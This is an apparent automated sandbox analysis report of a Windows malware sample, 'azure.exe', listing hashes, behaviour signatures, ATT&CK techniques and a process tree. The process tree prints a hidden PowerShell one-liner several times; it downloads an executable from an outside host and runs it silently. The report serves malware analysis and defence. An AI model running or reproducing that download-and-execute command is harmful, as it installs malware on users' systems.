90fa404449d3682ca566c9ab5786eee5eddeabb911209f777d3cadbb22302b7e

Resubmissions

27/10/2026, 18:19

261027-wylh4sec288

27/10/2026, 18:19

261027-wx71qafs2s8

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 18:19

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General

Target
azure.exe
Size 5.4MB
Sample261027-wylh4sec28
SHA256 90fa404449d3682ca566c9ab5786eee5eddeabb911209f777d3cadbb22302b7e
MD5 0841ae3825ca7d8601f42025d6dfa737
SHA1 473903676a081960cc560eab97b374145cdb5aef
SHA512 1baf459232b6f26ca38a751713b3475d62b394ab2df2547fda2dcbd5ce9722c0cc23da8e5f77c88c5ec03985063eea4df6101900afdbc7c6dc4f985641006bf6
SSDEEP 98304:FxADk/Wr5AAkX45AsyDGGswulEEbtvn7rIoJNVF9Op6vJdsvep6g:FxcMWVaiA7D3swd8X39VzIe8
TLSH
T1E946F1DDC2AD42ACE229C23894869647B3F3BD4E6764DFFB27D08C901DAB180F974549
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1576	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1576	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
6	1576	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1320	BK166688.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1072 set thread context of 4984	1072	azure.exe	84

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
804	cmd.exe
3984	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1576	powershell.exe
1576	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1072	azure.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 4984	1072	azure.exe	84
PID 1072 wrote to memory of 3984	1072	azure.exe	85
PID 3984 wrote to memory of 804	3984	cmd.exe	90
PID 804 wrote to memory of 1576	804	cmd.exe	93
PID 1576 wrote to memory of 1320	1576	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\azure.exe
"C:\Users\Admin\AppData\Local\Temp\azure.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Users\Admin\AppData\Local\Temp\azure.exe
  "C:\Users\Admin\AppData\Local\Temp\azure.exe"
  2⤵
  PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_wYzPA7' -OutFile $env:APPDATA\BK166688.exe; Start-Process -FilePath $env:APPDATA\BK166688.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_wYzPA7' -OutFile $env:APPDATA\BK166688.exe; Start-Process -FilePath $env:APPDATA\BK166688.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_wYzPA7' -OutFile $env:APPDATA\BK166688.exe; Start-Process -FilePath $env:APPDATA\BK166688.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1576
    - - C:\Users\Admin\AppData\Roaming\BK166688.exe
        
        "C:\Users\Admin\AppData\Roaming\BK166688.exe"
        5⤵
        Executes dropped EXE
        
        PID:1320

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x304 0x4a0
1⤵
PID:4708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_yhsvzvuj.z5w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhsvzvuj.z5w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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BK166688.exe

Path C:\Users\Admin\AppData\Roaming\BK166688.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1072-3-0x0000000140000000-0x0000000140595000-memory.dmp

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memory/1072-14-0x0000000140000000-0x0000000140595000-memory.dmp

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memory/1576-11-0x000001E1346C0000-0x000001E1346E2000-memory.dmp

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memory/1576-15-0x000001E1369B0000-0x000001E136AFE000-memory.dmp

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memory/1576-29-0x000001E1369B0000-0x000001E136AFE000-memory.dmp

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memory/4984-4-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/4984-2-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/4984-1-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/4984-0-0x0000000140000000-0x0000000140050000-memory.dmp

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